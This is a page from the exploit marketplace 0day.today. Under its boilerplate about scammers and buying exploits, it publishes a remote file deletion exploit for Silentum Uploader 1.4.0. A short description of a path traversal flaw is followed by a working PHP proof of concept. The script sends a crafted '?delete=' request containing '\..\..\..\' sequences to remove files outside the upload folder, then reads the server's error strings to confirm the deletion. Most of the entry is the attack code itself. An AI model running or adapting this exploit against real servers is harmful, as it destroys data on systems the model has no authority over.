0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Silentum Uploader 1.4.0 Remote File Deletion Exploit
==================================================== Silentum Uploader 1.4.0 Remote File Deletion Exploit ==================================================== Vendor: http://hypersilence.net Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions) Credit: Danny Moules Critical: Yes See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=2 ---- Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory. The following PoC will delete a file named 'secret.txt' one level above the application folder. You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files. --- <?php $strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default $strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion $strUploadScript = "http://www.example.com/uploader/upload.php"; $objCurl = curl_init(); curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete); curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true); $strDump = curl_exec($objCurl); curl_close($objCurl); if(strpos($strDump, "No such file or directory") !== false) { echo("$strToDelete didn't exist. \n"); } else if(strpos($strDump, "Permission denied") !== false) { echo("Permission was denied when deleting $strToDelete. \n"); } else if(strpos($strDump, "function.unlink") !== false) { echo("An unexpected error occured when deleting $strToDelete. \n"); } else { echo("Looks as though deletion of $strToDelete was successful.\n"); } ?> # 0day.today [2024-11-15] #